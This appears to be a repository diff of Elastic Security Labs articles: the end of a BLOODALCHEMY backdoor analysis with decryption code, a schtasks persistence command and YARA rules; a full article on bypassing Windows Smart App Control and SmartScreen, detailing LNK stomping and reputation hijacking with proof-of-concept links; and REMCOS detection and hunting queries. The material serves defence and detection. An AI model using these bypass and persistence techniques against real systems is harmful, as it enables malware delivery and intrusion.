key = (key + ((key << ((i % 5) + 1)) | (key >> (7 - (i % 5))))) & 0xFF
|
||||
i += 1
|
||||
|
||||
return bytes(decrypted_data)
|
||||
```
|
||||
|
||||
The strings contained in the configuration blob are encrypted using the same scheme, however the ids (or offsets) of each string are obfuscated; it adds two additional layers of obfuscation that must be resolved. Below, we can resolve additional obfuscation layers to decrypt strings from the configuration:
|
||||
|
||||
```Python
|
||||
def decrypt_configuration_string(id: int) -> bytes:
|
||||
return decrypt_bytes(
|
||||
*get_configuration_encrypted_string(
|
||||
get_configuration_dword(id)))
|
||||
```
|
||||
|
||||
Each function is given below:
|
||||
|
||||
**The `get_configuration_dword` function**
|
||||
```Python
|
||||
def get_configuration_dword(id: int) -> int:
|
||||
b = ida_bytes.get_bytes(CONFIGURATION_VA + id, 4)
|
||||
return b[0] + (b[1] + (b[2] + (b[3] << 8) << 8) << 8)
|
||||
```
|
||||
|
||||
**The `get_configuration_encrypted_strng` function**
|
||||
```Python
|
||||
def get_configuration_encrypted_string(id: int) -> tuple[int, int]:
|
||||
ea = CONFIGURATION_VA + id
|
||||
|
||||
v2 = 0
|
||||
i = 0
|
||||
|
||||
while i <= 63:
|
||||
c = ida_bytes.get_byte(ea)
|
||||
|
||||
v6 = (c & 127) << i
|
||||
v2 = (v2 | v6) & 0xFFFFFFFF
|
||||
|
||||
ea += 1
|
||||
|
||||
if c >= 0:
|
||||
break
|
||||
|
||||
i += 7
|
||||
return ea, v2
|
||||
```
|
||||
|
||||
### Persistence
|
||||
|
||||
BLOODALCHEMY maintains persistence by copying itself into its persistence folder with the path suffix `\Test\test.exe`,
|
||||
|
||||

|
||||
|
||||
|
||||
The root directory of the persistence folder is chosen based on its current privilege level, it can be either:
|
||||
* `%ProgramFiles%`
|
||||
* `%ProgramFiles(x86)%`
|
||||
* `%Appdata%`
|
||||
* `%LocalAppData%\Programs`
|
||||
|
||||

|
||||
|
||||
|
||||
Persistence is achieved via different methods depending on the configuration:
|
||||
* As a service
|
||||
* As a registry key
|
||||
* As a scheduled task
|
||||
* Using [COM](https://learn.microsoft.com/en-us/windows/win32/learnwin32/what-is-a-com-interface-) interfaces
|
||||
|
||||
To identify the persistence mechanisms, we can use the uninstall command to observe the different ways that the malware removes persistence.
|
||||
|
||||
As a service named `Test`.
|
||||
|
||||

|
||||
|
||||
|
||||
As a registry key at `CurrentVersion\Run`
|
||||
|
||||

|
||||
|
||||
|
||||
As a scheduled task, running with SYSTEM privilege via `schtask.exe`:
|
||||
```
|
||||
b'schtasks.exe /CREATE /SC %s /TN "%s" /TR "\'%s\'" /RU "NT AUTHORITY\\SYSTEM" /Fb'
|
||||
```
|
||||
|
||||
Using the `TaskScheduler::ITaskService` COM interface. The intent of this persistence mechanism is currently unknown.
|
||||
|
||||

|
||||
|
||||
|
||||
### Running modes
|
||||
|
||||
The malware has different running modes depending on its configuration:
|
||||
* Within the main or separate process thread
|
||||
* Create a Windows process and inject a shellcode into it
|
||||
* As a service
|
||||
|
||||
The malware can either work within the main process thread.
|
||||
|
||||

|
||||
|
||||
|
||||
Or run in a separate thread.
|
||||
|
||||

|
||||
|
||||
|
||||
Or create a Windows process from a hardcoded list and inject a shellcode passed by parameter to the entry point using the [WriteProcessMemory+QueueUserAPC+ResumeThread](https://sevrosecurity.com/2020/04/13/process-injection-part-2-queueuserapc/) method.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
The shellcode is contained in the parameters we call `p_interesting_data`. This parameter is actually a pointer to a structure containing both the malware configuration and executable binary data.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
Or install and run itself as a service. In this scenario, the service name and description will be `Test` and `Digital Imaging System`:
|
||||
|
||||

|
||||
|
||||
|
||||
Also when running as a service and started by the service manager the malware will masquerade itself as stopped by first setting the service status to “SERVICE_RUNNING” then setting the status to “SERVICE_STOPPED” while in fact the malware is still running.
|
||||
|
||||

|
||||
|
||||
|
||||
### Communication
|
||||
|
||||
The malware communicates using either the HTTP protocol, named pipes, or sockets.
|
||||
|
||||
When using the HTTP protocol the malware requests the following URI `/Inform/logger/.`
|
||||
|
||||

|
||||
|
||||
|
||||
In this scenario, BLOODALCHEMY will try to use any proxy server found in the registry key `SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings`.
|
||||
|
||||

|
||||
|
||||
|
||||
We did not uncover any C2 infrastructure with our sample, but the URL could look something like this: `https://malwa[.]re/Inform/logger`
|
||||
|
||||
When using a named pipe, the name is randomly generated using the current PID as seed.
|
||||
|
||||

|
||||
|
||||
|
||||
While waiting for a client to connect to this named pipe the malware scans the running processes and checks that its parent process is still running, this may be to limit access to the named pipe. That said, the malware is not checking that the pipe client is the correct parent process, only that the parent process is running. This introduces flawed logic in protecting the named pipe.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
From the malware strings and imports we know that the malware can also operate using TCP/UDP sockets.
|
||||
|
||||

|
||||
|
||||
|
||||
While we haven’t made any conclusions about their usage, we list all the protocols found in the encrypted strings.
|
||||
* DNS://
|
||||
* HTTP://
|
||||
* HTTPS://
|
||||
* MUX://
|
||||
* UDP://
|
||||
* SMB://
|
||||
* SOCKS5://
|
||||
* SOCKS4://
|
||||
* TCP://
|
||||
|
||||
For all protocols the data can be encrypted, [LZNT1 compressed](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6), and/or Base64-encoded.
|
||||
|
||||
### Commands
|
||||
|
||||
The malware only contains a few commands with actual effects:
|
||||
* Write/overwrite the malware toolset
|
||||
* Launch its malware binary `Test.exe`
|
||||
* Uninstall and terminate
|
||||
* Gather host information
|
||||
|
||||
There are three commands that write (or overwrite) the malware tool set with the received Base64-encoded binary data:
|
||||
* Either the malware binary (`Test.exe`)
|
||||
* the sideloaded DLL (`BrLogAPI.dll`)
|
||||
* or the main trusted binary (`BrDifxapi.exe`)
|
||||
|
||||

|
||||
|
||||
|
||||
One command that launches the `Test.exe` binary in the persistence folder.
|
||||
|
||||

|
||||
|
||||
|
||||
The uninstall and terminate itself command will first delete all its files at specific locations then remove any persistence registry key or scheduled task, then remove installed service and finish by terminating itself.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
One host information gathering command: CPU, OS, display, network, etc.
|
||||
|
||||

|
||||
|
||||
|
||||
## Summary
|
||||
|
||||
BLOODALCHEMY is a backdoor shellcode containing only original code(no statically linked libraries). This code appears to be crafted by experienced malware developers.
|
||||
|
||||
The backdoor contains modular capabilities based on its configuration. These capabilities include multiple persistence, C2, and execution mechanisms.
|
||||
|
||||
While unconfirmed, the presence of so few effective commands indicates that the malware may be a subfeature of a larger intrusion set or malware package, still in development, or an extremely focused piece of malware for a specific tactical usage.
|
||||
|
||||
## BLOODALCHEMY and MITRE ATT&CK
|
||||
|
||||
Elastic uses the [MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.
|
||||
|
||||
### Tactics
|
||||
|
||||
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
* [Command and Control](https://attack.mitre.org/tactics/TA0011/)
|
||||
* [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)
|
||||
* [Discovery](https://attack.mitre.org/tactics/TA0007/)
|
||||
* [Execution](https://attack.mitre.org/tactics/TA0002/)
|
||||
* [Process Injection](https://attack.mitre.org/techniques/T1055/)
|
||||
|
||||
## Malware prevention capabilities
|
||||
|
||||
* [BLOODALCHEMY](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BloodAlchemy.yar)
|
||||
|
||||
## YARA
|
||||
|
||||
Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BLOODALCHEMY malware:
|
||||
|
||||
```yara
|
||||
BLOODALCHEMY
|
||||
rule Windows_Trojan_BloodAlchemy_1 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-05-09"
|
||||
last_modified = "2023-06-13"
|
||||
threat_name = "Windows.Trojan.BloodAlchemy"
|
||||
license = "Elastic License v2"
|
||||
os = "windows"
|
||||
|
||||
strings:
|
||||
$a1 = { 55 8B EC 51 83 65 FC 00 53 56 57 BF 00 20 00 00 57 6A 40 FF 15 }
|
||||
$a2 = { 55 8B EC 81 EC 80 00 00 00 53 56 57 33 FF 8D 45 80 6A 64 57 50 89 7D E4 89 7D EC 89 7D F0 89 7D }
|
||||
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule Windows_Trojan_BloodAlchemy_2 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-05-09"
|
||||
last_modified = "2023-06-13"
|
||||
threat_name = "Windows.Trojan.BloodAlchemy"
|
||||
license = "Elastic License v2"
|
||||
os = "windows"
|
||||
|
||||
strings:
|
||||
$a1 = { 55 8B EC 83 EC 54 53 8B 5D 08 56 57 33 FF 89 55 F4 89 4D F0 BE 00 00 00 02 89 7D F8 89 7D FC 85 DB }
|
||||
$a2 = { 55 8B EC 83 EC 0C 56 57 33 C0 8D 7D F4 AB 8D 4D F4 AB AB E8 42 10 00 00 8B 7D F4 33 F6 85 FF 74 03 8B 77 08 }
|
||||
|
||||
condition:
|
||||
any of them
|
||||
}
|
||||
|
||||
rule Windows_Trojan_BloodAlchemy_3 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-05-10"
|
||||
last_modified = "2023-06-13"
|
||||
threat_name = "Windows.Trojan.BloodAlchemy"
|
||||
license = "Elastic License v2"
|
||||
os = "windows"
|
||||
|
||||
strings:
|
||||
$a = { 55 8B EC 83 EC 38 53 56 57 8B 75 08 8D 7D F0 33 C0 33 DB AB 89 5D C8 89 5D D0 89 5D D4 AB 89 5D }
|
||||
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule Windows_Trojan_BloodAlchemy_4 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-05-10"
|
||||
last_modified = "2023-06-13"
|
||||
threat_name = "Windows.Trojan.BloodAlchemy"
|
||||
license = "Elastic License v2"
|
||||
os = "windows"
|
||||
|
||||
strings:
|
||||
$a = { 55 8B EC 83 EC 30 53 56 57 33 C0 8D 7D F0 AB 33 DB 68 02 80 00 00 6A 40 89 5D FC AB AB FF 15 28 }
|
||||
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
```
|
||||
|
||||
## Observations
|
||||
|
||||
All observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/ref5961) in both ECS and STIX format in a combined zip bundle.
|
||||
|
||||
The following observables were discussed in this research.
|
||||
|
||||
| Observable | Type | Name | Reference |
|
||||
|------------------------------------------------------------------|---------|--------------|---------------------|
|
||||
| `e14ee3e2ce0010110c409f119d56f6151fdca64e20d902412db46406ed89009a` | SHA-256 | `BrLogAPI.dll` | BLOODALCHEMY loader |
|
||||
| `25268bc07b64d0d1df441eb6f4b40dc44a6af568be0657533088d3bfd2a05455` | SHA-256 | NA | BLOODALCHEMY payload |
|
|
@ -0,0 +1,153 @@
|
|||
---
|
||||
title: "Dismantling Smart App Control"
|
||||
slug: "dismantling-smart-app-control"
|
||||
date: "2024-08-06"
|
||||
subtitle: "New Initial Access and Evasion Techniques"
|
||||
description: "This article will explore Windows Smart App Control and SmartScreen as a case study for researching bypasses to reputation-based systems, then demonstrate detections to cover those weaknesses."
|
||||
author:
|
||||
- slug: joe-desimone
|
||||
image: "Security Labs Images 19.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
---
|
||||
|
||||
## Introduction
|
||||
|
||||
Reputation-based protections like Elastic’s [reputation service](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html#behavior-protection) can significantly improve detection capabilities while maintaining low false positive rates. However, like any protection capability, weaknesses exist and bypasses are possible. Understanding these weaknesses allows defenders to focus their detection engineering on key coverage gaps. This article will explore Windows [Smart App Control](https://support.microsoft.com/en-us/topic/what-is-smart-app-control-285ea03d-fa88-4d56-882e-6698afdb7003) and SmartScreen as a case study for researching bypasses to reputation-based systems, then demonstrate detections to cover those weaknesses.
|
||||
|
||||
### Key Takeaways:
|
||||
|
||||
* Windows Smart App Control and SmartScreen have several design weaknesses that allow attackers to gain initial access with no security warnings or popups.
|
||||
* A bug in the handling of LNK files can also bypass these security controls
|
||||
* Defenders should understand the limitations of these OS features and implement detections in their security stack to compensate
|
||||
|
||||
## SmartScreen/SAC Background
|
||||
|
||||
Microsoft [SmartScreen](https://learn.microsoft.com/en-us/windows/security/operating-system-security/virus-and-threat-protection/microsoft-defender-smartscreen/) has been a built-in OS feature since Windows 8. It operates on files that have the [“Mark of the Web”](https://learn.microsoft.com/en-us/microsoft-365-apps/security/internet-macros-blocked#mark-of-the-web-and-zones) (MotW) and are clicked on by users. Microsoft introduced Smart App Control (SAC) with the release of Windows 11. SAC is, in some ways, an evolution of SmartScreen. Microsoft [says](https://support.microsoft.com/en-us/topic/what-is-smart-app-control-285ea03d-fa88-4d56-882e-6698afdb7003) it “adds significant protection from new and emerging threats by blocking apps that are malicious or untrusted.” It works by querying a Microsoft cloud service when applications are executed. If they are known to be safe, they are allowed to execute; however, if they are unknown, they will only be executed if they have a valid code signing signature. When SAC is enabled, it replaces and disables Defender SmartScreen.
|
||||
|
||||
Microsoft exposes undocumented APIs for querying the trust level of files for SmartScreen and Smart App Control. To help with this research, we developed a utility that will display the trust of a file. The source code for this utility is available [here](https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-check/rep-check.cpp).
|
||||
|
||||
## Signed Malware
|
||||
|
||||
One way to bypass Smart App Control is to simply sign malware with a code-signing certificate. Even before SAC, there has been a trend towards attackers signing their malware to evade detection. More recently, attackers have routinely obtained Extend Validation (EV) signing certificates. EV certs require proof of identity to gain access and can only exist on specially designed hardware tokens, making them difficult to steal. However, attackers have found ways to impersonate businesses and purchase these certificates. The threat group behind [SolarMarker](https://www.elastic.co/security-labs/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant) has leveraged [over 100](https://squiblydoo.blog/2024/05/13/impostor-certs/) unique signing certificates across their campaigns. Certificate Authorities (CAs) should do more to crack down on abuse and minimize fraudulently-acquired certificates. More public research may be necessary to apply pressure on the CAs who are most often selling fraudulent certificates.
|
||||
|
||||
## Reputation Hijacking
|
||||
|
||||
Reputation hijacking is a generic attack paradigm on reputation-based malware protection systems. It is analogous to the [misplaced trust](https://web.archive.org/web/20171028135605/https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/MattGraeber.CaseySmith.pdf) research by Casey Smith and others against application control systems, as well as the [vulnerable driver research](https://i.blackhat.com/us-18/Thu-August-9/us-18-Desimone-Kernel-Mode-Threats-and-Practical-Defenses.pdf) from Gabriel Landau and I. Unfortunately, the attack surface in this case is even larger. Reputation hijacking involves finding and repurposing apps with a good reputation to bypass the system. To work as an initial access vector, one constraint is that the application must be controlled without any command line parameters—for example, a script host that loads and executes a script at a predictable file path.
|
||||
|
||||
Script hosts are an ideal target for a reputation hijacking attack. This is especially true if they include a foreign function interface (FFI) capability. With FFI, attackers can easily load and execute arbitrary code and malware in memory. Through searches in VirusTotal and GitHub, we identified many script hosts that have a known good reputation and can be co-opted for full code execution. This includes Lua, Node.js, and AutoHotkey interpreters. A sample to demonstrate this technique is available [here](https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-hijacking/poc-rep-hijack-jam.zip).
|
||||
|
||||
The following video demonstrates hijacking with the [JamPlus](https://github.com/jamplus/jamplus) build utility to bypass Smart App Control with no security warnings:
|
||||
|
||||

|
||||
|
||||
In another example, SmartScreen security warnings were bypassed by using a known AutoHotkey interpreter:
|
||||
|
||||

|
||||
|
||||
Another avenue to hijack the reputation of a known application is to exploit it. This could be simple, like a classic buffer overflow from reading an INI file in a predictable path. It could be something more complex that chains off other primitives (like command execution/registry write/etc). Also, multiple known apps can be chained together to achieve full code execution. For example, one application that reads a configuration file and executes a command line parameter can then be used to launch another known application that requires a set of parameters to gain arbitrary code execution.
|
||||
|
||||
## Reputation Seeding
|
||||
|
||||
Another attack on reputation protections is to seed attacker-controlled binaries into the system. If crafted carefully, these binaries can appear benign and achieve a good reputation while still being useful to attackers later. It could simply be a new script host binary, an application with a known vulnerability, or an application that has a useful primitive. On the other hand, it could be a binary that contains embedded malicious code but only activates after a certain date or environmental trigger.
|
||||
|
||||
Smart App Control appears vulnerable to seeding. After executing a sample on one machine, it received a good label after approximately 2 hours. We noted that basic anti-emulation techniques seemed to be a factor in receiving a benign verdict or reputation. Fortunately, SmartScreen appears to have a higher global prevalence bar before trusting an application. A sample that demonstrates this technique is available [here](https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-seeding/poc-rep-seeding.zip) and is demonstrated below:
|
||||
|
||||

|
||||
|
||||
## Reputation Tampering
|
||||
|
||||
A third attack class against reputation systems is reputation tampering. Normally, reputation systems use cryptographically secure hashing systems to make tampering infeasible. However, we noticed that certain modifications to a file did not seem to change the reputation for SAC. SAC may use fuzzy hashing or feature-based similarity comparisons in lieu of or in addition to standard file hashing. It may also leverage an ML model in the cloud to allow files that have a highly benign score (such as being very similar to known good). Surprisingly, some code sections could be modified without losing their associated reputation. Through trial and error, we could identify segments that could be safely tampered with and keep the same reputation. We crafted one [tampered binary](https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-tampering/poc-rep-tampering.zip) with a unique hash that had never been seen by Microsoft or SAC. This embedded an “execute calc” shellcode and could be executed with SAC in enforcement mode:
|
||||
|
||||

|
||||
|
||||
## LNK Stomping
|
||||
|
||||
When a user downloads a file, the browser will create an associated “Zone.Identifier” file in an [alternate data stream](https://www.digital-detective.net/forensic-analysis-of-zone-identifier-stream/) known as the Mark of the Web (MotW). This lets other software (including AV and EDR) on the system know that the file is more risky. SmartScreen only scans files with the Mark of the Web. SAC completely blocks certain file types if they have it. This makes MotW bypasses an interesting research target, as it can usually lead to bypassing these security systems. Financially motivated threat groups have discovered and leveraged [multiple vulnerabilities](https://blog.google/threat-analysis-group/magniber-ransomware-actors-used-a-variant-of-microsoft-smartscreen-bypass/) to bypass MotW checks. These techniques involved appending crafted and invalid code signing signatures to javascript or MSI files.
|
||||
|
||||
During our research, we stumbled upon another MotW bypass that is trivial to exploit. It involves crafting LNK files that have non-standard target paths or internal structures. When clicked, these LNK files are modified by explorer.exe with the canonical formatting. This modification leads to removal of the MotW label before security checks are performed. The function that overwrites the LNK files is **_SaveAsLink()** as shown in the following call stack:
|
||||
|
||||

|
||||
|
||||
The function that performs the security check is **CheckSmartScreen()** as shown in the following call stack:
|
||||
|
||||

|
||||
|
||||
The easiest demonstration of this issue is to append a dot or space to the target executable path (e.g., ```powershell.exe.```). Alternatively, one can create an LNK file that contains a relative path such as ```.\target.exe```. After clicking the link, ```explorer.exe``` will search for and find the matching ```.exe``` name, automatically correct the full path, update the file on disk (removing MotW), and finally launch the target. Yet another variant involves crafting a multi-level path in a single entry of the LNK’s target path array. The target path array should normally have 1 entry per directory. The [pylnk3](https://pypi.org/project/pylnk3/) utility shows the structure of an exploit LNK (non-canonical format) before and after execution (canonical format):
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
A Python script that demonstrates these techniques is available [here](https://github.com/joe-desimone/rep-research/blob/8e22c587e727ce2e3ea1ccab973941b7dd2244fc/lnk_stomping/lnk_stomping.py).
|
||||
|
||||
The following shows an LNK file bypassing MotW restrictions under Smart App Control to launch Powershell and pop calc:
|
||||
|
||||

|
||||
|
||||
In another example, we show this technique chained with the Microsoft cdb command line debugger to achieve arbitrary code execution and execute shellcode to pop calc:
|
||||
|
||||

|
||||
|
||||
We identified multiple samples in VirusTotal that exhibit the bug, demonstrating existing in the wild usage. The oldest [sample](https://www.virustotal.com/gui/file/11dadc71018027c7e005a70c306532e5ea7abdc389964cbc85cf3b79f97f6b44/detection) identified was submitted over 6 years ago. We also disclosed details of the bug to the MSRC. It may be fixed in a future Windows update. We are releasing this information, along with detection logic and countermeasures, to help defenders identify this activity until a patch is available.
|
||||
## Detections
|
||||
|
||||
Reputation hijacking, by its nature, can be difficult to detect. Countless applications can be co-opted to carry out the technique. Cataloging and blocking applications known to be abused is an initial (and continual) step.
|
||||
|
||||
```
|
||||
process where process.parent.name == "explorer.exe" and process.hash.sha256 in (
|
||||
"ba35b8b4346b79b8bb4f97360025cb6befaf501b03149a3b5fef8f07bdf265c7", // AutoHotKey
|
||||
"4e213bd0a127f1bb24c4c0d971c2727097b04eed9c6e62a57110d168ccc3ba10" // JamPlus
|
||||
)
|
||||
```
|
||||
|
||||
However, this approach will always lag behind attackers. A slightly more robust approach is to develop behavioral signatures to identify general categories of abused software. For example, we can look for common Lua or Node.js function names or modules in suspicious call stacks:
|
||||
|
||||
```
|
||||
sequence by process.entity_id with maxspan=1m
|
||||
[library where
|
||||
(dll.Ext.relative_file_creation_time <= 3600 or
|
||||
dll.Ext.relative_file_name_modify_time <= 3600 or
|
||||
(dll.Ext.device.product_id : ("Virtual DVD-ROM", "Virtual Disk","USB *") and not dll.path : "C:\\*")) and
|
||||
_arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info: "*!luaopen_*")] by dll.hash.sha256
|
||||
[api where
|
||||
process.Ext.api.behaviors : ("shellcode", "allocate_shellcode", "execute_shellcode", "unbacked_rwx", "rwx", "hook_api") and
|
||||
process.thread.Ext.call_stack_final_user_module.hash.sha256 : "?*"] by process.thread.Ext.call_stack_final_user_module.hash.sha256
|
||||
```
|
||||
|
||||
```
|
||||
api where process.Ext.api.name : ("VirtualProtect*", "WriteProcessMemory", "VirtualAlloc*", "MapViewOfFile*") and
|
||||
process.Ext.api.behaviors : ("shellcode", "allocate_shellcode", "execute_shellcode", "unbacked_rwx", "rwx", "hook_api") and
|
||||
process.thread.Ext.call_stack_final_user_module.name : "ffi_bindings.node"
|
||||
```
|
||||
|
||||
Security teams should pay particular attention to downloaded files. They can use local reputation to identify outliers in their environment for closer inspection.
|
||||
|
||||
```
|
||||
from logs-* |
|
||||
where host.os.type == "windows"
|
||||
and event.category == "process" and event.action == "start"
|
||||
and process.parent.name == "explorer.exe"
|
||||
and (process.executable like "*Downloads*" or process.executable like "*Temp*")
|
||||
and process.hash.sha256 is not null
|
||||
| eval process.name = replace(process.name, " \\(1\\).", ".")
|
||||
| stats hosts = count_distinct(agent.id) by process.name, process.hash.sha256
|
||||
| where hosts == 1
|
||||
```
|
||||
|
||||
LNK stomping may have many variants, making signature-based detection on LNK files difficult. However, they should all trigger a similar behavioral signal- ```explorer.exe``` overwriting an LNK file. This is especially anomalous in the downloads folder or when the LNK has the Mark of the Web.
|
||||
|
||||
```
|
||||
file where event.action == "overwrite" and file.extension : "lnk" and
|
||||
process.name : "explorer.exe" and process.thread.Ext.call_stack_summary : "ntdll.dll|*|windows.storage.dll|shell32.dll|*" and
|
||||
(
|
||||
file.path : ("?:\\Users\\*\\Downloads\\*.lnk", "?:\\Users\\*\\AppData\\Local\\Temp\\*.lnk") or
|
||||
file.Ext.windows.zone_identifier == 3
|
||||
)
|
||||
```
|
||||
|
||||
Finally, robust behavioral coverage around common attacker techniques such as in-memory evasion, persistence, credential access, enumeration, and lateral movement helps detect realistic intrusions, including from reputation hijacking.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Reputation-based protection systems are a powerful layer for blocking commodity malware. However, like any protection technique, they have weaknesses that can be bypassed with some care. Smart App Control and SmartScreen have a number of fundamental design weaknesses that can allow for initial access with no security warnings and minimal user interaction. Security teams should scrutinize downloads carefully in their detection stack and not rely solely on OS-native security features for protection in this area.
|
|
@ -0,0 +1,265 @@
|
|||
---
|
||||
title: "Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Four"
|
||||
slug: "dissecting-remcos-rat-part-four"
|
||||
date: "2024-05-10"
|
||||
subtitle: "Part four: Detections, hunts using ES|QL, and conclusion"
|
||||
description: "In previous articles in this multipart series, malware researchers on the Elastic Security Labs team decomposed the REMCOS configuration structure and gave details about its C2 commands. In this final part, you’ll learn more about detecting and hunting REMCOS using Elastic technologies."
|
||||
author:
|
||||
- slug: cyril-francois
|
||||
- slug: samir-bousseaden
|
||||
image: "Security Labs Images 18.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- malware-analysis
|
||||
- remcos
|
||||
---
|
||||
|
||||
# Detections, hunts using ES|QL, and conclusion
|
||||
|
||||
In previous articles in this multipart series [[1](https://www.elastic.co/security-labs/dissecting-remcos-rat-part-one)] [[2](https://www.elastic.co/security-labs/dissecting-remcos-rat-part-two)] [[3](https://www.elastic.co/security-labs/dissecting-remcos-rat-part-three)], malware researchers on the Elastic Security Labs team decomposed the REMCOS configuration structure and gave details about its C2 commands. In this final part, you’ll learn more about detecting and hunting REMCOS using Elastic technologies.
|
||||
|
||||
## Detection and Hunt
|
||||
|
||||
The following [Elastic Defend](https://docs.elastic.co/en/integrations/endpoint) detections trigger on those techniques:
|
||||
|
||||
**Persistence (Run key)**
|
||||
* [Startup Persistence by a Low Reputation Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_startup_persistence_by_a_low_reputation_process.toml)
|
||||
|
||||
**Process Injection**
|
||||
* [Windows.Trojan.Remcos](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Remcos.yar), [shellcode_thread](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html#memory-protection) (triggers multiple times on both watchdog and main REMCOS injected processes)
|
||||
* [Potential Masquerading as SVCHOST](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_svchost.toml) (REMCOS watchdog default to an injected svchost.exe child instance)
|
||||
* [Remote Process Injection via Mapping](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_remote_process_injection_via_mapping.toml) (triggers on both watchdog and injecting C:\Program Files (x86)\Internet Explorer\iexplore.exe)
|
||||
|
||||
**Privilege Escalation (UAC Bypass)**
|
||||
* [UAC Bypass via ICMLuaUtil Elevated COM Interface](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_uac_bypass_via_icmluautil_elevated_com_interface.toml)
|
||||
|
||||
**Evasion (Disable UAC)**
|
||||
* [Disabling User Account Control via Registry Modification](https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_disable_uac_registry.toml) (REMCOS spawns cmd.exe that uses reg.exe to disable UAC via registry modification)
|
||||
|
||||
**Command and Control**
|
||||
* [Connection to Dynamic DNS Provider by an Unsigned Binary](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_dynamic_dns_provider_by_an_unsigned_binary.toml) (although it’s not a requirement but most of the observed samples use dynamic DNS)
|
||||
|
||||
**File Deletion**
|
||||
* [Remcos RAT INETCookies File Deletion](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/command_and_control_remcos_rat_inetcookies_file_deletion.toml)
|
||||
|
||||
**Modify Registry**
|
||||
* [Remcos RAT ExePath Registry Modification](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/command_and_control_remcos_rat_exepath_registry_modification.toml)
|
||||
|
||||
The ExePath registry value used by the REMCOS watchdog process can be used as an indicator of compromise. Below is a KQL query example :
|
||||
|
||||
```
|
||||
event.category:"registry" and event.action:"modification" and
|
||||
registry.value:"EXEpath" and not process.code_signature.trusted:true
|
||||
```
|
||||
|
||||

|
||||
|
||||
REMCOS includes three options for clearing browser data, possibly in an attempt to force victim users to re-enter their web credentials for keylogging:
|
||||
|
||||
* `enable_browser_cleaning_on_startup_flag`
|
||||
* `enable_browser_cleaning_only_for_the_first_run_flag`
|
||||
* `browser_cleaning_sleep_time_in_minutes`
|
||||
|
||||
This results in the deletion of browser cookies and history-related files. The following KQL query can be used to hunt for such behavior by an unsigned process:
|
||||
|
||||
```
|
||||
event.category:file and event.action:deletion and file.name:container.dat and
|
||||
file.path:*INetCookies* and not process.code_signature.trusted:true
|
||||
```
|
||||
|
||||

|
||||
|
||||
REMCOS also employs three main information collection methods. The first one is keylogging via [SetWindowsHookEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa) API. The following [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-language.html) can be used to hunt for rare or unusual processes performing this behavior:
|
||||
|
||||
```
|
||||
from logs-endpoint.events.api*
|
||||
|
||||
/* keylogging can be done by calling SetwindowsHook to hook keyboard events */
|
||||
|
||||
| where event.category == "api" and process.Ext.api.name == "SetWindowsHookEx" and process.Ext.api.parameters.hook_type like "WH_KEYBOARD*"
|
||||
|
||||
/* normalize process paths to ease aggregation by process path */
|
||||
|
||||
| eval process_path = replace(process.executable, """([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\.tmp|DX[A-Z0-9]{3,4}\.tmp|7z[A-Z0-9]{3,5}\.tmp|[0-9\.\-\_]{3,})""", "")
|
||||
| eval process_path = replace(process_path, """[cC]:\\[uU][sS][eE][rR][sS]\\[a-zA-Z0-9\.\-\_\$~]+\\""", "C:\\\\users\\\\user\\\\")
|
||||
|
||||
/* limit results to those that are unique to a host across the agents fleet */
|
||||
|
||||
| stats occurrences = count(*), agents = count_distinct(host.id) by process_path
|
||||
